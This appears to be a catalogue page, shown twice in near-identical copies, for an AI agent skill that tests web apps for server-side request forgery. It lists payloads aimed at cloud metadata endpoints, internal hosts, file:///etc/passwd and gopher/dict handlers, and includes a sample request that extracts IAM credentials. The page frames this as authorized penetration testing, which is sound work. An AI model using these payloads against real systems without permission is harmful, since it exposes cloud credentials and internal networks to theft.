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performing-ssrf-vulnerability-exploitation

スター6

フォーク2

更新日2026年7月1日 01:50

Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.

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idpass

idpass/idpass-data-collect

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When to Use

When conducting security assessments that involve performing ssrf vulnerability exploitation
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with security operations concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Instructions

Install dependencies: pip install requests
Identify URL parameters in the target application that accept URLs or hostnames.
Test SSRF payloads:
- Cloud metadata: http://169.254.169.254/latest/meta-data/
- Internal services: http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers: file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
Analyze responses for information disclosure or internal access confirmation.
Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.

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name	performing-ssrf-vulnerability-exploitation
description	Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.
domain	cybersecurity
subdomain	security-operations
tags	["ssrf","web-application-security","cloud-metadata-abuse","vulnerability-exploitation","penetration-testing"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"]
mitre_attack	["T1078","T1190","T1059","T1078.004","T1530"]

When to Use

When conducting security assessments that involve performing ssrf vulnerability exploitation
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with security operations concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Instructions

Install dependencies: pip install requests
Identify URL parameters in the target application that accept URLs or hostnames.
Test SSRF payloads:
- Cloud metadata: http://169.254.169.254/latest/meta-data/
- Internal services: http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers: file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
Analyze responses for information disclosure or internal access confirmation.
Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.